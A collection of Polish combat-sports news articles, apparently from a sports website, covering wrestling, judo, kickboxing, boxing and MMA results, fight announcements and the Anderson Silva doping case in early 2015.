I Puchar Polski seniorów w zapasach w stylu klasycznych był kolejnym polem doświadczeń przed głównymi imprezami obecnego sezonu. Zawodnicy w dniach 13 – 14 lutego rywalizowali o medale, ale zarazem toczyła się walka o przybliżenie się do udziału w najważniejszych tegorocznych turniejach.
Chodzi oczywiście o Igrzyska Europejskie w Baku i mistrzostwa świata w Las Vegas. W Raciborzu stawiła się czołówka krajowa, która bardzo poważnie podeszła do rywalizacji. Na starcie dziewięćdziesięciu zawodników przygotowanych w pełni do walki. Zapaśnicy dostarczyli wiele emocji i zaprezentowali przyzwoity poziom. Zwyciężali faworyci. Dobrą formę z zawodów Grand Prix w Paryżu potwierdzili Damian Janikowski i Mateusz Wolny, którzy w stolicy Francji zdobyli odpowiednio srebro i brąz. W Raciborzu brązowy medalista Igrzysk Olimpijskich w Londynie nie miał sobie równych w rywalizacji w kategorii wagowej 85 kg. Mateusz Wolny z Unii Racibórz okazał się najlepszy w 75 kg. W kategorii 80 kg triumfował Jakub Tim. Ponadto po złote medale sięgnęli: Michał Tracz (59 kg), Gevorg Samakyan (66 kg), Bartosz Sikora (71 kg), Łukasz Konera (98 kg) i Łukasz Banak (130 kg). W rywalizacji klubowej najlepszy okazał się AKS Piotrków Trybunalski przed Olimpijczykiem Radom oraz Śląskiem Wrocław. Zapaśnicy kontynuują rywalizację i przygotowują się do kolejnych startów. Dla wielu z nich najważniejsze są mistrzostwa świata w Las Vegas, które mogą dać przepustkę na Igrzyska Olimpijskie w Rio de Janeiro.
Panowie rywalizowali w Pucharze Polski, a panie prezentowały swoje umiejętności podczas międzynarodowego turnieju Klippan Lady Open. Zawody były silnie obsadzone, jednak nasza reprezentacja pokazała się z dobrej strony. Ze Skandynawii biało – czerwone przywiozły dwa medale. Nie udało się wygrać, ale brązowe krążki też są sporym osiągnięciem. Medale zawisły na szyjach Iwony Matkowskiej (48 kg) oraz Katarzyny Krawczyk (53 kg). Obie zapaśniczki bardzo dobrze rozpoczęły sezon, już podczas Grand Prix w Paryżu zaprezentowały wysoki poziom. We Francji Matkowska wywalczyła drugie, a Krawczyk trzecie miejsce. Warto dodać, że 32-letnia zawodniczka Grunwaldu Poznań w ostatnim okresie jest w dobrej formie. W 2014 roku Matkowska w Taszkiencie zdobyła srebrny medal mistrzostw świata. Miejmy nadzieję, że w Las Vegas powtórzy swój wyczyn i dodatkowo wywalczy bilet do Rio. Z kolei Katarzyna Krawczyk w ubiegłym roku sięgnęła po złoty medal Wojskowych Mistrzostw Świata. Od początku sezonu obie zapaśniczki prezentują się bardzo dobrze. Solidnie przepracowały okres przygotowawczy, co przynosi efekty. Czy Matkowską i Krawczyk stać na dobre występy w Baku i w Las Vegas? Z pewnością tak, gdyż od pewnego czasu stale potwierdzają swoją dobrą dyspozycję.
Warto nadmienić, że w Klippan z dobrej strony pokazała się Agnieszka Król, która zajęła piątą lokatę w kategorii 63 kg.
KM
Jeden potrzebował dwóch rund, drugi czterech, aby unieść dłonie w glorii chwały. Shlemenko wraca do gry po słabszych występach, a Henderson wykonał pierwszy udany ruch w nowej dla siebie kategorii – półśredniej. W jaki sposób fighterzy rozstrzygnęli swoje pojedynki?
Alexander Shlemenko po słabszym okresie w swojej karierze powrócił do gry o najwyższą stawkę. Rosjanin podczas gali Bellator 133 pokazał, że uśpione są w nim ogromne moce. Naprzeciw siebie stanęli dwaj fighterzy, których renoma w mieszanych sztukach walki jest doskonale znana. Malvin Manhoef i Alexander Shlemenko – pojedynek wielkich lotów. Rosjanin zaskoczył swojego przeciwnika, któremu dawano nieco większe szanse na triumf. Dla Manhoefa nastał trudny czas, gdyż przegrał drugą walkę z rzędu. Na gali Bellator 131 przegrał z Joe Schillingiem, teraz musiał uznać wyższość Shlemenki. Holender toczył przez dwie rundy wyrównaną walkę w stójce z Rosjaninem. Shlemenko zaskoczył Manhoefa potężnym obrotowym łokciem, po którym jego rywal nie był w stanie kontynuować walki. Rosjanin początkowo próbował sprowadzić walkę do parteru, jednak Holender skutecznie odpierał te ataki. W końcu Shlemenko wyczekał moment, w którym zastopował Manhoefa. Po niezbyt dobrych występach Rosjanin zanotował sukces. W grudniu na gali Fight Nights – Battle of Moscow 18 pokonał Yasubeya Enomoto, teraz pokonał Manhoefa i jest na najlepszej drodze do ustabilizowania swojej formy oraz pozycji w świecie mieszanych sztuk walki. Wygrana wzbogaciła konto 30-latka o dwadzieścia tysięcy dolarów, Manhoef musiał zadowolić się wypłatą o pięć tysięcy dolarów mniejszą.
W Bellatorze walką wieczoru było starcie Shlemenko – Manhoef, podczas gali UFC Fight Night w Broomfield prawdziwe widowisko stworzyli Benson Henderson i Brandon Thatch. Smooth debiutował tym pojedynkiem w wadze półśredniej. Początek starcia należał do Thatcha, który wykorzystywał przewagę warunków fizycznych. Kopnięcia i ciosy na korpus docierały do Hendersona, jednak ten starał się atakować kombinacjami. W drugiej rundzie Thatch zdobył dwa obalenia, z których nie wyciągnął większej korzyści. Trzecia odsłona to zapasy w wykonaniu Hendersona. Smooth przeniósł walkę na ziemię i trzymał się konsekwentnie pleców rywala niemalże do samego końca rundy. Henderson w dalszej fazie walki kontynuował swoją taktykę, co przyniosło pożądany efekt. Były mistrz kategorii lekkiej sprowadził walkę do parteru w odpowiednim momencie, ułożył sobie rywala idealnie i zastosował ciasne duszenie. Thacth odklepał, co sprawiło, że zwycięstwo Hendersona stało się faktem. Warto dodać, iż dla Smootha wygrana ma ogromne znaczenie. Ostatnie dwie walki Henderson przegrał, co powodowało, że rodziły się sugestie dotyczące jego wartości i znaczenia w UFC. W pojedynku z Thatchem drzemiące w nim ogromne możliwości, które zostały na chwilę uśpione. Należy dodać, iż walka obu panów została uznana za pojedynek wieczoru, co wzbogaciło ich konta o dodatkowe pięćdziesiąt tysięcy dolarów.
KM
Już dzisiaj w telewizji FightKlub rozpoczniemy sezon 2015 z turniejami Boxcino. Organizowane przez telewizję ESPN i Banner Promotions imprezy skupiają przede wszystkim młodych adeptów sztuki pięściarstwa. Wyłonieni w drodze bezpośredniej konfrontacji zwycięzcy zyskują rozgłos i dobrą pozycję rankingową do ataków na światowe tytuły. Nabywają także niezbędnego doświadczenia i wykuwają charakter w starciach z innymi młodymi, głodnymi zwycięstw i sławy rywalami.
Na pierwszy ogień pójdą zawodnicy z kategorii junior średniej (limit 154 funty) W ćwierćfinałach turnieju w Mohegan Sun Casino w Uncasville w Connecticut zobaczymy następujące pojedynki: Cleotis Pendarvis (17-4-2, 6 KO) zmierzy się z Ricardo Pinellem (10-1-1, 6 KO), Stanisław Skorokhod (8-0, 6 KO) podejmie Michaela Moore’a (13-0, 6 KO), Brandon Adams (15-1, 10 KO) skrzyżuje rękawice z Alexem Perezem (18-1, 10 KO), zaś Vito Gasparyan (14-3-4, 8 KO) stanie naprzeciw Simeona Hardy’ego (13-0, 10 KO). Wszystkie pojedynki zostaną rozegrane na gwarantującym wysokie tempo dystansie 6 rund.
– Jesteśmy podekscytowani rozpoczęciem turniejowego sezonu. W zeszłym roku imprezy okazały się dużym sukcesem i nie możemy się doczekać na start sezonu turniejowego na gali z udziałem bokserów kategorii junior średniej w Mohegan Sun. Na tej arenie widzieliśmy już wiele klasyków i mamy zamiar nawiązać do tej tradycji – powiedział promotor Artie Pelullo z Banner Promotions.
Gala na żywo wyłącznie w FightKlubie. Na transmisje zapraszamy w nocy z piątku na sobotę od 03:00, powtórka w sobotę od 12:00.
Źródło: materiały prasowe
28 lutego w Kielcach odbędą się obchody 25-lecia Polskiego Związku Kickboxingu. Wydarzenie uświetni trzecia edycja gali Fighters Night, jedną z gwiazd imprezy będzie Wojciech Kosowski.
Organizator zawodów, Ostrowiecki Klub Sportów Walki, zadbał o to, aby widzowie, którzy zgromadzą się w kieleckiej hali nie mogli narzekać na nudę. Bardzo ciekawa karta walk, w której widnieją takie nazwiska jak Kosowski, Walkiewicz, Kasperski, Sarara czy Hiki.
Medalista mistrzostw Europy, zdobywca Pucharów Świata i wielokrotny mistrz Polski Wojciech Kosowski stoczy pojedynek z Miroslawem Smolarem ze Słowacji w kategorii do 75 kg. Zawodnik Palestry Warszawa, który w 2014 roku zdobył tytuł Mistrza Świata Pro-Am w tajskim boksie jest zdecydowanym faworytem rywalizacji.
Organizatorzy zaplanowali również jeden pojedynek kobiet. W kategorii wagowej do 52 kg wystąpi amatorska mistrzyni Europy WAKO w formule Low Kick Joanna Walkiewicz, która zmierzy się z Zuzaną Gabovą. Ciekawie zapowiada się starcie w kategorii ciężkiej. O pas Zawodowego Mistrza Polski w kategorii do 91 kg walczyć będą Robert Cepak i Mateusz Hiki.
Na gali w Kielcach zaprezentuje się Tomasz Sarara. Jeden z najlepszych polskich zawodników w wadze ciężkiej będzie rywalizował z Alexandrem Bodruhinem. Ukrainiec jest mistrzem swojego kraju w kickboxingu na zasadach K-1. Sarara swój ostatni pojedynek stoczył w październiku ubiegłego roku na gali Pride of the Royal City w Krakowie, gdzie okazał się lepszy od Jegisha Yegoiana. Przed zawodnikiem klubu Trenuj Sporty Walki kolejne wyzwanie. Bodruhin na płaszczyźnie zawodowej notuje dobre występy, wygrywał na galach organizacji Final FC.
W pojedynku wieczoru wystąpi Dawid Kasperski, nazwisko rywala zawodnika Punchera Wrocław nie jest jeszcze znane. Stawką walki będzie tytuł Międzynarodowego Mistrza Polski w kategorii do 86 kg. Kasperski wraca do rywalizacji po porażce, której doznał na gali Superkombat w listopadzie. Polak wystąpił w czterosobowym turnieju w kategorii do 86 kg. Stawką rywalizacji był pas mistrzowski organizacji, jednak Kasperskiemu nie było dane go zdobyć. W półfinałowym starciu polski fighter niejednogłośnie na punkty przegrał z Francuzem Aristote Quitusisą. W Kielcach z pewnością Kasperski będzie chciał zaprezentować się z jak najlepszej strony i powrócić na zwycięską ścieżkę. 24-latek jest jednym z wyróżniających się fighterów wagi ciężkiej w Polsce, czego najlepszym dowodem są jego występy na galach Superkombat.
Polski Związek Kickboxingu obchodzi swoje 25-lecie i z tej okazji odbędzie się prawdziwa gratka dla kibiców w postaci gali Fighters Night 3, na której wystąpią czołowi zawodnicy kickboxingu w Polsce. Wojciech Kosowski, który bardzo dobrze radził sobie podczas występów w Tajlandii, Joanna Walkiewicz – obecna mistrzyni Europy, Tomasz Sarara – mistrz Polski low-kick 2014 czy Dawid Kasperski, który swoje umiejętności prezentuje na galach organizacji Superkombat. Emocji i wrażeń nie zabraknie, a taka impreza może tylko i wyłącznie służyć promocji kickboxingu na szerszą skalę.
KM
Negocjacje na temat pojedynku Floyd Mayweathaer Jr – Manny Pacquiao nadal trwają. Strony nie podpisały kontraktu na organizację starcia.
Angielski The Telegraph puścił w eter informację, że 2 maja w Las Vegas dojdzie do walki Moneya z Pacmanem. Wedle informacji gazety Pacquiao miał podpisać kontrakt, a Mayweathaer miał ogłosić ten fakt w Nowym Jorku, gdzie przebywał na All Star Weekend NBA. Jak się okazało – nic takiego nie miało miejsca. Doniesienia te zostały szybko zdementowane.
Prezes grupy Top Rank Bob Arum wyjaśniał, że wszystko jest na najlepszej drodze do porozumienia, ale do podpisania kontraktu na walkę jeszcze nie doszło. Wszystko wskazuje na to, że jest to kwestia czasu, gdyż strony prowadzą zaawansowane rozmowy. Ustalono konsensus, co do podziału zysków z pojedynku – 60% do 40% na korzyść Mayweathera. Łącznie pięściarze będą partycypowali w kwocie 250 milionów dolarów, czyli 150 trafi do Moneya, a 100 do Pacmana. Kiedy dojdzie do podpisania umowy? Strony jeszcze nad nią pracuję. Informację podaną przez The Telegraph zdementował również wiceprezes telewizji Showtime Sports Stephen Espinoza. – Umowa nadal jest negocjowana, więc nie mam pojęcia, jaki kontrakt ktokolwiek mógłby podpisać.
Głos w sprawie zabrał również Floyd Mayweather: – Informacje, które pojawiły się w mediach są nieprawdziwe. Ani ja nie podpisałem kontraktu, ani Pacquiao nie podpisał kontraktu na ten pojedynek – powiedział pięściarz. Czas biegnie nieubłaganie i do planowanego na 2 maja pojedynku pozostało tylko jedenaście tygodni. Kontrakt musi być podpisany lada dzień, aby pięściarze mogli rozpocząć przygotowania do rywalizacji.
Obecnie trudno uwierzyć w to, aby negocjacje miały trwać dłużej. Mayweather i Pacquiao muszą przygotować się do pojedynku, który będzie bardzo ciężki i wymagający. Konieczna jest odpowiednia ilość czasu, a okres poniżej dziesięciu tygodni brzmi trochę groteskowo. Kontrakt powinien zostać podpisany w najbliższych dniach, jeśli pojedynek ma odbyć się 2 maja. W innym wypadku w grę wchodzi zmiana terminu. Jednak Bob Arum podkreślał, że porozumienie jest blisko. Skoro pięściarze osiągnęli zgodę w kwestii podziału zysków to wszystko jest na dobrej drodze.
Ostatnimi czasy obie bokserzy uczestniczyli w różnych eventach i udzielali wywiadów. Za kilka dni będą musieli zamienić blask fleszy na sale treningowe, aby jak najlepiej przygotować się do rywalizacji, która zapowiada się niezwykle smakowicie. Wielkie show, wielki biznes, wielki boks. Tego oczekuje świat, tego oczekują sponsorzy, tego oczekują kibice. Saga dotycząca planowania walki powoli dobiega końca. Teraz wypada czekać na rozwój wypadków w ringu. Być może The Telegraph nie poddał mylnej informacji i wszystko odbędzie się wedle informacji gazety, ale trwają ostatnie szlify. Aby mistrzowie mogli tworzyć dzieło najwyższych lotów trzeba zapewnić im odpowiednie warunki. Niech się dzieje. Nadszedł czas przejścia do następnego etapu. Etapu przygotowań.
KM
Polski bokser urodzony 31 stycznia 1980 roku w Warszawie. W kwietniu 2013 roku zakończył karierę zawodową. Był mistrzem Interkontynentalnym federacji WBO. Krzysztof na zawodowych ringach zadebiutował 2 września 2000 roku. W pierwszym pojedynku niespodziewanie przegrał na punkty z Patrickiem Puskasem. 4 maja 2002 roku Bienias zdobył tytuł młodzieżowego Mistrza Świata federacji IBF, pokonując Yuria Ramanau. W latach 2002-2008 stoczył 26 pojedynków, z których przegrał 2 razy. 20 lutego 2009 roku zdobył tytuł interkontynentalnego mistrza świata federacji WBO w wadze półśredniej, pokonując Svena Parisa. 17 lipca 2009 roku w pierwszej obronie tytułu interkontynentalnego ponownie pokonał Svena Parisa. 12 marca 2010 roku w drugiej obronie pasa interkontynentalnego przegrał z Brytyjczykiem Kellem Brookiem przez techniczny nokaut. 10 listopada 2012 roku Krzysztof przegrał jednogłośnie na punkty pojedynek z Gianlucą Branco. Stawką pojedynku był wakujący tytuł Mistrza Unii Europejskiej , federacji EBU. Ten pojedynek był ostatnim w zawodowej karierze Krzysztofa. 20 kwietnia 2013 roku Bienias oficjalnie ogłosił zakończenie kariery Bokserskiej, na gali boksu zawodowego w Rzeszowie. Jako zawodowy pięściarz stoczył 48 pojedynków, z czego 42 wygrał, 5 przegrał i jedną zremisował. Do jego największych osiągnięć należy: Młodzieżowe Mistrzostwo Świata federacji IBF oraz zdobycie pasa WBO Inter-Continental.
Reprezentantka Polski w judo pokazała się z bardzo dobrej strony w zawodach Pucharu Świata w Oberwart. Agata Perenc w kategorii 52 kg zajęła trzecie miejsce. Tym samym nasza judoczka po raz kolejny w nowym sezonie stanęła na podium.
To niewątpliwy sukces Polki, która potwierdza, że intensywnie przepracowany okres przygotowawczy przynosi pożądane owoce. W Austrii Perenc pokazała się z dobrej strony i wywalczyła brązowy medal. Gdyby nasza zawodniczka miała więcej szczęścia być może odniosłaby w Austrii triumf. Perenc szła jak burza, jednak w ćwierćfinale trafiła na klasyfikowaną na siedemnastym miejscu na świecie reprezentantkę Chin Ma Yingnan. Tym samym prysły marzenia o triumfie, jednak Perenc nie poddała się i kontynuowała swój dobry występ. W starciu o brąz spotkała się z Japonką Ai Shishime. Choć zawodniczka z Kraju Kwitnącej Wiśni w światowym rankingu klasyfikowana jest ponad sto pozycji wyżej od Polki, nie sprostała Agacie Perenc. Nasza zawodniczka zwyciężyła przez ippon. Brąz dla Perenc stał się faktem. Dobrai ambitna postawa Polki w Oberwart została nagrodzona. Warto wspomnieć, że Perenc podczas turnieju w Arlon pokazała się z dobrej strony. W Belgii Polka zajęła drugą lokatę.
Szkoda, że pozostała część drużyny nie dostosowała się do poziomu Agaty Perenc. Jedynie Martyna Martynowicz zajęła siódme miejsce w kategorii 52 kg. Ewa Konieczny, Karolina Pieńkowska, Zuzanna Pawlikowska, Anna Borowska, Karolina Tałach, Katarzyna Furmanek oraz Joanna Jaworska odpadły już z rywalizacji w pierwszym dniu eliminacji. Więcej oczekiwano po występie Furmanek, która w Arlon zwyciężyła w kategorii +78 kg. W porównaniu z występami w Arlon poczynania naszych reprezentantek w Pucharze Świata w Austrii wypadły blado. Belgijskie wojaże przyniosły podopiecznym Anety Szczepańskiej cztery medale, jednakże należy zaznaczyć, iż skala zawodów była zdecydowanie inna. W Arlon był to międzynarodowy turniej, w Oberwart Puchar Świata, w którym wzięła udział światowa czołówka. Warto zaznaczyć, że w austriackiej rywalizacji nie uczestniczyły brązowa medalistka mistrzostw świata w Czelabińsku Katarzyna Kłys oraz będące w dobrej formie Daria Pogorzelec i Agata Ozdoba. Nie ulega wątpliwości, że pod okiem trener Anety Szczepańskiej możemy śmiało liczyć na dobre występy naszej drużyny podczas kwietniowych mistrzostw Europy w Glasgow oraz sierpniowych mistrzostw świata w Astanie.
Niewiele do trzeciego miejsca zabrakło Damianowi Szwarnowieckiemu. Polski judoka rywalizował w Rzymie podczas zawodów Pucharu Świata. Szwarnowiecki pokazał się z dobrej strony – zwyciężył w trzech z pięciu walk, jednak w tej najważniejszej, o trzeciej miejsce, poniósł porażkę. Rywalem Polaka był reprezentant Chin Sun Shuai. Szwarnowiecki przegrał minimalnie – jedną karą shido. Tym samym Polakowi przypadło piąte miejsce w zawodach Pucharu Świata w Rzymie.
KM
Wokół pojedynku Odlaniera Solisa z Tonym Thompsonem jest wiele zamieszania. Walka miała się odbyć we wcześniejszym terminie, ale ją odwołano. Na dzień dzisiejszy pojedynek będzie miał miejsce 27 lutego w Turcji.
Należy zaznaczyć, że problemy z doprowadzeniem do rewanżowego starcia Solis – Thompson wynikają również z kłopotów zdrowotnych Kubańczyka. Początkowo walkę planowano w październiku, następnie w listopadzie, potem w styczniu aż doszło do lutego. Solis i Thompson mieli stanąć na ringu w Budapeszcie, jednak zawiedli tamtejsi inwestorzy, którzy nie dotrzymali terminów i promotorzy pięściarzy musieli rozpocząć poszukiwania nowej lokalizacji. Padło na Turcję. Tym razem walka ma odbyć się bez problemów.
Historia planowania rewanżowego starcia Solis – Thompson jest burzliwa. Wszystko zaczęło się w marcu ubiegłego roku, kiedy to panowie stanęli naprzeciw siebie w ringu po raz pierwszy. Doświadczony, liczący ponad czterdzieści wiosen Thompson, który nadal zachwycał formą skrzyżował rękawice z mistrzem olimpijskim z Aten, utalentowanym pięściarzem z Kuby mającym nadzieję na podbicie kategorii królewskiej. Solis w swojej karierze zawodowej miał okazję walczyć o pas WBC w wadze ciężkiej, jednak z powodu kontuzji w pierwszej rundzie pojedynku z Witalijem Kliczko poddał się. Z kolei Thompson miał okazję rywalizować z Władimirem Kliczko i to dwukrotnie. W obu przypadkach, jednak przegrał. Ostatnio Thompson rywalizował z Carlosem Takamem i musiał uznać wyższość rywala. Obaj pięściarze mieli okazję walczyć o najwyższe cele, ale nie osiągnęli sukcesu. Z tym, że Solis ma 34 lata i może liczyć, że uda mu się wejść na szczyt. Thompson tej nadziei raczej już nie ma.
Swego czasu Solis był obiecującą postacią wagi ciężkiej, jednak należy otwarcie przyznać, że porażka w pojedynku z Thompsonem sprawiła, iż jego pozycja drastycznie spadła. Dlatego też Kubańczyk 27 lutego postara się wziąć rewanż na Amerykaninie, z którym przegrał niejedno głośnie na punkty. W marcu ubiegłego roku Solis nie prezentował się w ringu najlepiej. Kubańczyk był ociężały, słabo przygotowany kondycyjnie do rywalizacji. Choć technicznie był lepszy, nie był w stanie wykorzystać tego atutu. Thompson po wstępnej fazie rywalizacji przyspieszył i „zamęczył” swojego przeciwnika. Sędziowie niejedno głośnie przyznali zwycięstwo Amerykaninowi. Solis choć był faworytem przegrał przez swoją indolencję. Kubańczyk zapomniał, że w ringu staje naprzeciw boksera z wieloletnim doświadczeniem i to zemściło się na nim.
Solis dobrze się zapowiadał, był w czołówce wagi ciężkiej, ale kontuzje i problemy natury mentalnej – podejścia do boksu sprawiły, że jego kariera wyhamowała. Thompson jest solidnym bokserem, który w swojej karierze walczył z najlepszymi i udowadniał swoją wartość. W końcu w Turcji panowie spotkają się po raz drugi? Czy Solis popełni kolejny błąd?
fot. PAP
KM
Karlovac gościł fighterów z całej Europy. W tym chorwackim mieście odbyła się druga edycja Pucharu Europy w kickboxingu "Karlovac Open". Warto podkreślić, że walk nie brakowało.
Liczby robią piorunujące wrażenie. Puchar Europy w Karlovacu okazał się ogromnym przedsięwzięciem. W zawodach wzięło udział 878 zawodników, którzy reprezentowali 147 klubów z 22 krajów. Wszystkie te liczby ułożyły się w sumę 1444 startów indywidualnych. Poza tym pojawiło się kilku zawodników spoza europejskiego kontynentu m.in. z Puerto Rico i Chile. Dwa dni zmagań pełnych kickboxingu, wielkich emocji i wrażeń. Karlovac był miejscem, gdzie nie można było się nudzić.
Nasi reprezentanci w tym licznym gronie fighterów również zaznaczyli swoją obecność. Polacy przywieźli z Chorwacji szesnaście medali. Jeśli dodamy do tego grona dwa srebrne krążki Martina Koneckiego, który w turnieju reprezentował barwy Kumgangu Wiedeń to nasz dorobek zwiększa się. Polski zawodnik wywalczył medale w kat. -42 kg kick-light oraz light-contact kadetów starszych.
Z dobre strony zaprezentowali się fighterzy LKSW Dan Świdnik (4 krążki), UKS Gladiator Binczarowa (3), Krakowskiego Centrum Taekwon-do Kraków (3), Oyamy Rzeszów (3), Klubu Taekwon-do Tradycyjnego Łódź (1) oraz UKS Tom Bee Team Uwieliny (2). Na szesnaście medali zdobytych przez reprezentujących rodzime teamy zawodników pięć miało złotą barwę. Ponadto, Polacy wywalczyli sześć srebrnych i pięć brązowych krążków. Klub ze Świdnika zdobył złoto, srebro i dwa brąz. Medal z najszlachetniejszego kruszcu zawisł na szyi Adrianny Skowrytko, która startowała w kat. -65 kg pointfighting kadetek starszych. Był to jej ostatni występ wśród kadetek, teraz będzie walczyła w juniorach. Srebrny krążek w kat. -63 kg light-contact juniorów wywalczył Paweł Zdun. Brązowe medale zawisły na szyjach: Zuzanny Wesołowskiej w kat. -50 kg pointfighting kadetek starszych i Mateusza Budy w kat. -52 kg light-contact kadetów starszych.
Złoto zdobył Mateusz Piwowarczyk. Reprezentujący barwy Krakowskiego Centrum Taekwon-do Kraków zawodnik rywalizował w kat. -74 kg light-contact juniorów. Po złoty medal sięgnął Mateusz Kosturek z Rzeszowa w kat. -74 kick-light seniorów. Zawodnik Oyamy wywalczył dwa medale. Kosturek sięgnął także po srebro w kat. -75 kg full-contact seniorów. Dwa medale w seniorach wywalczyła również Karolina Czech z Krakowskiego Centrum. Zawodniczka zdobyła srebro w kat. +70 kg pointfighting seniorek oraz złoto w kat. +70 kg light-contact seniorek.
Polacy w licznie obsadzonym turnieju zaznaczyli swoją obecność zdobywając szesnaście medali. Organizatorzy nie do końca zapewnili zawodnikom komfortowe warunki rywalizacji. Z pewnością wpływ na to miała duża liczba biorących udział w turnieju. Jednak walki trwające do późnych godzin nocnych nie są najlepszym rozwiązaniem. Być może lepszym rozwiązaniem byłoby rozłożenie rywalizacji na trzy dni.
KM
Wiadomość o stosowaniu przez Andersona Silvę środków zabronionych zelektryzowała wszystkich. Spider bronił się i tłumaczył, że to błąd, który musiał mieć miejsce w laboratorium. Wszyscy z niecierpliwością czekali na wynik drugiego badania.
Przypomnijmy, Anderson Silva był gwiazdą gali UFC 183, na której walczył z Nickiem Diazem. Po pojedynku obaj fighterzy zostali poddani testom antydopingowym. Jak się okazało Silva stosował drostanolon, a Diaz marihuanę. Spider przez lata uchodził za wzór do naśladowania. Wiadomość o substancjach zakazanych w organizmie Andersona Silvy była zaskoczeniem. Sam zainteresowany nie dowierzał. W takich sytuacjach przeprowadza się dodatkowy test antydopingowy.
Jak donosi portal MMAjunkie.com fighter poddał się po raz kolejny badaniom. Nie potwierdziły one jednak wersji Silvy, wynik testu na zawartość substancji zakazanych okazał się pozytywny. Co dalej? Silva jest tymczasowo zawieszony i czeka na spotkanie z Komisją Sportową Stanu Nevada, które odbędzie się17 lutego. Tam rozstrzygną się dalsze losy Spidera. Zapewne Komisja przedłuży okres zawieszenia fightera, na oddzielnym posiedzeniu podejmie kolejne decyzje. Przede wszystkim konieczne jest zebranie wszystkich materiałów oraz przeanalizowanie sprawy w sposób wnikliwy i dokładny. Anderson Silva znalazł się w trudnym położeniu, gdyż powtórny test nie potwierdził jego wersji. Wszystko wskazuje na to, że Spider będzie musiał dłużej odpocząć od MMA.
Świat UFC ostatnimi czasy żyje skandalami oraz problemami. Spadająca sprzedaż pay per view, sądowe batalie z zawodnikami niezadowolonymi z zasad współpracy oraz doping. Do grona przyłapanych na stosowaniu niedozwolonych środków wpadł Hector Lombard. Fighter stoczył walkę na UFC 182 z Joshem Burkmanem. Lombard wygrał swój pojedynek, po którym poddał się testom antydopingowym. Wynik okazał się pozytywny, jednak wokół zdarzenia narodziła się ciekawa historia. Otóż, Komisja Sportowa Stanu Nevada o sytuacji została poinformowana 13 stycznia, ale wiadomość tę zachowała dla siebie. Z kolei 17 stycznia UFC zakontraktowało walkę Lombarda z Rory MacDonaldem. Do starcia miało dojść podczas UFC 186 w Kanadzie, jednak taki pojedynek nie będzie miał miejsca. W organizmie Lombarda wykryto ślady sterydu anabolicznego. Po otrzymaniu tej informacji UFC odwołało walkę i szuka nowego rywala dla MacDonalda.
Porzućmy smutne wątki i przejdźmy do pozytywów, małych radości. Pamiętamy cały czas, że w kwietniu czeka nas ogromna atrakcja. W Krakowie odbędzie się gala UFC. Dla polskich fanów gratką będzie walka Błachowicz – Manuwa. Z kolei w pojedynku wieczoru zaprezentuje się Mirko „Cro Cop” Filipović. UFC ujawniła, że w Krakowie dojdzie do walki w wadze słomkowej pań. Zmierzą się w niej Claudia Gadelha, która poniosła porażkę w starciu z Joanną Jędrzejczyk, i Aisling Daly. Ponadto, warto zaznaczyć, że sprzedaż biletów na galę na ruszyć 26 lutego.
KM
Mistrz świata wagi ciężkiej IBF/WBA/WBO/IBO Władimir Kliczko ma określony plan działań na najbliższe miesiące. Obecnie przygotowuje się do walki z Bryantem Jenningsem, która odbędzie się 25 kwietnia w Madison Square Garden. A potem? Kliczko ma już swoje cele.
Najpierw Jennings. Negocjacje na temat walki z Amerykaninem trwały dość długo, gdyż pojawiły się zawirowania w kwestii przynależności boksera do grupy promotorskiej. Ostatecznie wszystko udało się ustalić i Władimir Kliczko w końcu stoczy pojedynek w Stanach Zjednoczonych. Jennings ma ogromny apetyt, aby cztery pasy Ukraińca trafiły do niego, jednak jest to mało prawdopodobne. Dla Amerykanina jest to życiowa szansa, ale Kliczko na swojej drodze spotykał trudniejszych i bardziej wymagających rywali. Stąd zapewne mistrz z Ukrainy już teraz pozwala sobie planować czas po pojedynku z Jenningsem.
Kliczko bardzo chce stoczyć walkę z mistrzem WBC Deontayem Wilderem. Bokser, który po ośmiu latach odzyskał pas wagi ciężkiej dla Amerykanów, stał się wyzwaniem dla Ukraińca. Wilder do tej pory nie poniósł porażki na zawodowym ringu. Ten fakt dodaje smaku potencjalnej rywalizacji obu pięściarzy. Kliczko zna doskonale umiejętności Wildera, gdyż ten był jednym ze sparingpartnerów ukraińskiego boksera przed pojedynkiem z Mariuszem Wachem. Walka mistrzów wagi ciężkiej byłaby ogromnym wydarzeniem i rywalizacją o worek pasów. Czy do tego starcia dojdzie? Kliczko nie ma wątpliwości: – Potrzebujemy tego pojedynku i musimy do tej walki doprowadzić.
Jednakże obóz ukraińskiego mistrza po pojedynku z Jenningsem widzi dla Władimira innego rywala. Kliczko miałby najpierw spotkać się z Tysonem Fury’m. Anglik również chciałby rywalizować z mistrzem z Ukrainy i udowodnić swoją wartość. Fury jest bardzo pewny siebie, za wszelką cenę chce osiągnąć sukces. Ponadto, Anglik myśli o pojedynku z Wilderem, którego ceni zdecydowanie niżej niż Ukraińca. Kliczko stanie przed kolejnymi wyzwaniami. Kto wie, czy nie będzie to najbardziej pracowity i najtrudniejszy okres od kilku lat dla Kliczko. Plan jest prosty: Jennings, Fury, Wilder. Otwarcie mówi o tym menadżer mistrza świata Bernd Boente: – Po pojedynku, który odbędzie się 25 kwietnia kibice zobaczą naprzeciw Władimira Tysona Fury, a potem Deontay'a Widlera.
Pojawiły się również informacje na temat zakończenia kariery przez ukraińskiego mistrza. Kliczko miałby pożegnać się z boksem w 2018 roku. Zostały mu w takim razie jeszcze trzy lata. Czy przez ten okres pozostanie na tronie? Jakby nie patrzeć – przed Ukraińcem rywalizacja z trzema bokserami, którzy nie zaznali jeszcze goryczy porażki. Czy któryś z nich po spotkaniu z Kliczko zachowa status niepokonanego? Z pewnością mistrz wagi ciężkiej postara się, aby zmienić panujący stan rzeczy.
Wielokrotnie zastanawiano się, kto zwyciężyłby, gdyby doszło do starcia Władimir – Witalij. Wiadomo, że do niego nie dojdzie. Witalij zakończył swoją przygodę z boksem, a ponadto – pięściarze obiecali, że nigdy nie będą walczyć ze sobą. Władimir zajął stanowisko w tej sprawie i wskazał na swojego brata jako faworyta. – Walka dwóch braci…Za bardzo kocham mojego brat, aby ten pojedynek miał miejsce. Gdyby doszło do tej walki to uważam, że wygrałby ją mój brat.
KM
Paweł „Wergi” Jędrzejczyk przebywa w Tajlandii, gdzie doskonali swój warsztat. Polski fighter nie próżnuje i na każdym kroku udowadnia swoją wartość. Jędrzejczyk jako zawodnik tajskiego boksu osiągnął niemal wszystko. Jest gwiazdą.
